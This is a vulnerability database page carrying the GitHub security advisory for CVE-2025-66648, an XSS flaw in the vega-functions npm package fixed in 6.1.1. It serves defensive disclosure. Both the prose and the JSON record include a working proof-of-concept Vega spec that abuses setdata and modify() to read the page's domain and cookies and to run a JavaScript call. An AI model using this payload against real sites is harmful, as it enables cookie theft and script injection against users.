GHSA-M9RG-MR6G-75GM
Vulnerability from github – Published: 2026-01-05 22:58 – Updated: 2026-01-06 15:51
VLAI?
Summary
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
Details
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions 6.1.1
Workarounds
There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.
Exploit Proof of Concept
Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}
Severity ?
7.2 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.1.0"
},
"package": {
"ecosystem": "npm",
"name": "vega-functions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66648"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T22:58:07Z",
"nvd_published_at": "2026-01-05T22:15:51Z",
"severity": "HIGH"
},
"details": "### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue. \n\n\n### Exploit Proof of Concept\n\nVega\u0027s expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n \"data\": [\n {\n \"name\": \"table\",\n \"values\": [\n {\"category\": \"A\", \"amount\": 28}\n ]\n }\n ],\n \"signals\": [\n {\n \"name\": \"tooltip\",\n \"value\": {},\n \"on\": [\n {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata(\u0027table\u0027,[[\u0027Domain: \u0027+event.dataflow._el.ownerDocument.domain+\u0027 , cookies: \u0027+ event.dataflow._el.ownerDocument.cookie ]])+warn(\u0027XSS is here\u0027, modify(\u0027table\u0027,2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{\u0027tttt\u0027:\u0027yyyy\u0027}) )\"},\n {\"events\": \"rect:pointerout\", \"update\": \"{}\"}\n ]\n }\n ]\n}\n```",
"id": "GHSA-m9rg-mr6g-75gm",
"modified": "2026-01-06T15:51:53Z",
"published": "2026-01-05T22:58:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66648"
},
{
"type": "PACKAGE",
"url": "https://github.com/vega/vega"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "`vega-functions` vulnerable to Cross-site Scripting via `setdata` function"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…